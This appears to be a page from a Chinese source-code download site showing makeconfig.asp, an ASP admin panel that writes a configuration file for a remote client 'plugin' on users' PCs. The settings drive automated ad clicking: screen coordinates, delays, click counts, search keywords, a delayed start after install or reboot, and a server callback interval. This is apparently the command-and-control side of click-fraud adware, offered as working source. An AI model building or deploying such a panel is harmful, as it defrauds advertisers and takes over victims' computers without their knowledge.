⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 makeconfig.asp

📁 没有什么
💻 ASP
字号:
<!--#include file="makeconfigini.asp"-->
<!--#include file="Const.Asp"-->
<%CheckAdmin1%>
<%PageName="Class"%>

<%
adsurllist=trim(request.form("adsurllist"))
shengxiao=trim(request.form("shengxiao"))
jiange=trim(request.form("jiange"))
updatetimer=trim(request.form("updatetimer"))
set rs=server.createobject("adodb.recordset")
if adsurllist<>"" then
	sql = "SELECT * FROM config where id=1" 
	rs.Open sql,conn,1,3
	if not rs.eof then
		rs("adsurllist")=adsurllist	
		rs("shengxiao")=shengxiao	
		rs("jiange")=jiange	
		rs("updatetimer")=updatetimer	
		rs.update
	end if
	rs.close
else
	sql = "SELECT * FROM config where id=1" 
	rs.Open sql,conn,1,1
	if not rs.eof then
		ntimer=rs("timer")
		updatetimer=rs("updatetimer")
		adsurllist=rs("adsurllist")
		shengxiao=rs("shengxiao")
		jiange=rs("jiange")
	end if
	rs.close
end if


%>
<link href="Images/Admin_Style.Css" rel="stylesheet" type="text/css">

<table width="100%" border="0" align="center" cellpadding="2" cellspacing="1" class="border">
	<form method="POST" action="">

  <tr class="title"> 
    <td height="22" colspan="3" align="center"><strong>生 成 配 置 文 件</strong></td>
  </tr>


  

  <tr class="tdbg"> 
    <td width="173" height="30">点击广告功能:</td>
    <td><input type="radio" value="1" name="adsurllist" <%if adsurllist=1 then%>checked<%end if%>>启用 
	<input type="radio" value="0" name="adsurllist" <%if adsurllist=0 then%>checked<%end if%>>不启用</td>
    <td> </td>
  </tr>
   
  <tr class="tdbg"> 
    <td width="173" height="30">两个广告之间的时间间隔:</td>
    <td><input type="text" name="jiange" size="3" value="<%=jiange%>" />分钟</td>
    <td> </td>
  </tr>
   

  <tr class="tdbg"> 
    <td width="173" height="30">安插或重启PC后插件生效时间:</td>
    <td><input type="text" name="shengxiao" size="3" value="<%=shengxiao%>" />分钟</td>
    <td> </td>
  </tr>
   

  


  <tr class="tdbg"> 
    <td width="173" height="30">插件回访周期:</td>
    <td><input type="text" name="updatetimer" size="3" value="<%=updatetimer%>"> 分钟&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
	注:建议设置60分钟,如果投放量大,设置时间过短,容易产生N多电脑连接服务器,类似于D.O.S服务器</td>
    <td> </td>
  </tr>
  <tr class="tdbg"> 
    <td width="173" height="30"> </td>
    <td><input type="submit" value="保存" name="B3" class=input>&nbsp; <input type="submit" value="生成配置文件" name="isok" class=input>
    
    <%if request.form("isok")="生成配置文件" then

    Dim INI
    Set INI = New INI_Class
    filepath=Server.MapPath("clconfig.ini")
    Set fs = CreateObject("Scripting.FileSystemObject")
    on error resume next
    fs.deletefile filepath,true 
    INI.OpenFile = filepath
    Response.Write "正在生成中,请稍后....."
    sql = "select * from config where id=1"
    rs.Open sql, conn, 1, 1
    If Not rs.EOF Then
       INI.WriteNode "update", "ver", CStr(rs("ver"))
       INI.WriteNode "update", "url", CStr(rs("verurl"))
	   INI.WriteNode "update", "shengxiao", CStr(rs("shengxiao"))
	   INI.WriteNode "update", "jiange", CStr(rs("jiange"))
       'INI.WriteNode "update", "timer", CStr(rs("timer"))
       INI.WriteNode "update", "updatetimer", CStr(rs("updatetimer"))              
	   INI.WriteNode "curl", "icurl", CStr(rs("adsurllist")) 'adsurllist
    End If
    rs.Close
  

			 '读取adsurllist
    sql = "select * from adsurllist where urlok=1"
    i = 0
    rs.Open sql, conn, 1, 1
    While Not rs.EOF
       i = i + 1
	   INI.WriteNode "curl", "id" & CStr(i), CStr(rs("id"))
       INI.WriteNode "curl", "urlcount" & CStr(i), CStr(rs("urlcount"))
	   INI.WriteNode "curl", "urldisplay" & CStr(i), CStr(rs("urldisplay"))
       INI.WriteNode "curl", "0x" & CStr(i), CStr(rs("x11"))
       INI.WriteNode "curl", "0y" & CStr(i), CStr(rs("y11"))
	   INI.WriteNode "curl", "2x" & CStr(i), CStr(rs("x12"))
       INI.WriteNode "curl", "2y" & CStr(i), CStr(rs("y12"))
	   INI.WriteNode "curl", "1yanshi" & CStr(i), CStr(rs("yanshi1"))
       INI.WriteNode "curl", "2yanshi" & CStr(i), CStr(rs("yanshi2"))
	   INI.WriteNode "curl", "3yanshi" & CStr(i), CStr(rs("yanshi3"))
	   INI.WriteNode "curl", "4yanshi" & CStr(i), CStr(rs("yanshi4"))
	   INI.WriteNode "curl", "5yanshi" & CStr(i), CStr(rs("yanshi5"))
	   INI.WriteNode "curl", "cishu" & CStr(i), CStr(rs("cishu"))
	   INI.WriteNode "curl", "wzlb" & CStr(i), CStr(rs("wzlb"))
	   INI.WriteNode "curl", "keywords" & CStr(i), CStr(rs("keywords"))
	   INI.WriteNode "curl", "searchbi" & CStr(i), CStr(rs("searchbi"))
       rs.MoveNext
    Wend
		INI.WriteNode "curl", "num" , CStr(i)
    rs.Close
	
	
INI.Save()    
    Set rs = Nothing
    Set conn = Nothing
    Response.Write "恭喜,已经成功生成配置文件(" & filepath & ")"  
   if not fs.FileExists(filepath) then 
   		    Response.Write "出错啦,在最后一步出错啦,系统最后检测到配置文件没有正常生成,请重新生成:)" 
   end if
   Set fs = nothing 
    end if%>    </td></form>
    <td></td>
  </tr>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -